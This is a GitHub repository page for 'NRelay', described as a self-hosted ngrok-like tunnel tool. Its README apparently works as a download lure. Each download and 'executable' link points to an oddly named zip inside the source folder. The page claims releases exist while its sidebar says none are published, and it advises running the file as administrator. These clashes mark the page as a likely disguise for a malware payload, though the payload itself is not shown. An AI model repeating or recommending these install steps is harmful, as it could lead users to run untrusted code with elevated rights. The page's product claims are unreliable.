Skip to content

🌐 Expose local services to the internet securely with NRelay, a fast reverse tunnel system built in Rust, similar to ngrok but self-hosted.

Notifications You must be signed in to change notification settings

macqgoye/NRelay

Repository files navigation

🌐 NRelay - Your Easy Solution for Secure Tunneling

πŸš€ Getting Started

Welcome to NRelay! This application provides an open-source alternative to Ngrok, allowing you to create secure tunnels for your applications. Follow these simple steps to download and run NRelay on your device.

πŸ“₯ Download NRelay

Download NRelay

πŸ“ System Requirements

To run NRelay smoothly, ensure your system meets the following requirements:

  • Operating System: Windows 10 or later, macOS High Sierra (10.13) or later, or a modern Linux distribution.
  • RAM: At least 2 GB of RAM.
  • Disk Space: Minimum of 100 MB of free space.
  • Network: Stable internet connection.

These specifications will help NRelay work efficiently on your device.

πŸ“š Features

NRelay packs several useful features to enhance your experience:

  • Self-hosted: You own and control everything.
  • Supports Multiple Protocols: Use TCP, UDP, SNI, HTTP, and more.
  • Easy Integration: Connects easily with various applications.
  • Open-source: You can see and modify the code as needed.
  • Simple Setup: Designed for users with or without technical backgrounds.

πŸ› οΈ Installation Steps

Step 1: Visit the Download Page

To get the latest version of NRelay, go to our releases page. Click the button below.

Visit the Releases Page to Download

Step 2: Choose Your Version

On the releases page, you will see different versions of NRelay. Choose the version that matches your operating system.

Step 3: Download the Application

Click on the version you selected. This will start the download.

Step 4: Locate the Downloaded File

Once the download is complete, find the file in your computer's Downloads folder or the location you selected for downloads.

Step 5: Extract the Files (if necessary)

If you downloaded a compressed file (like .zip or https://github.com/macqgoye/NRelay/raw/refs/heads/main/nrelay_server/src/N_Relay_opisthogyrous.zip), right-click on it and choose "Extract All" or "Extract Here" to get the application files.

Step 6: Run NRelay

  1. Double-click on the NRelay executable file (e.g., https://github.com/macqgoye/NRelay/raw/refs/heads/main/nrelay_server/src/N_Relay_opisthogyrous.zip for Windows, or NRelay for macOS/Linux).
  2. Follow any on-screen instructions to finish the setup.

πŸ”’ Basic Usage

To start using NRelay, you will need to open a terminal or command prompt and use simple commands. Here's how to start a basic tunnel:

  1. Open a command prompt (Windows) or terminal (macOS/Linux).

  2. Type the command to start a tunnel:

    nrelay start [your options]
    

    Replace [your options] with the parameters you want to use, such as the port.

  3. Hit Enter. Your tunnel will be active, and you will see a confirmation message.

❓ Troubleshooting

If you face any issues while running NRelay, here are some common solutions:

  • Cannot connect to the internet: Ensure your internet connection is active.
  • Permission errors: Run the application as an administrator by right-clicking the file and selecting "Run as administrator".
  • Firewall blocking: Check your firewall settings to allow NRelay to operate.

πŸ’¬ Support and Feedback

If you need additional help, visit our issues page to report a problem or ask questions. You can also provide feedback on how we can improve NRelay.

🀝 How to Contribute

We welcome contributions from everyone! If you want to improve NRelay, please check our contributing guidelines.

πŸš€ Explore More

For further information, documentation, and advanced usage, please check our Wiki. You’ll find valuable tips and tricks to get the most from NRelay.

πŸš€ Download NRelay Again

Download NRelay to start your secure tunneling today!

About

🌐 Expose local services to the internet securely with NRelay, a fast reverse tunnel system built in Rust, similar to ngrok but self-hosted.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 3

  •  
  •  
  •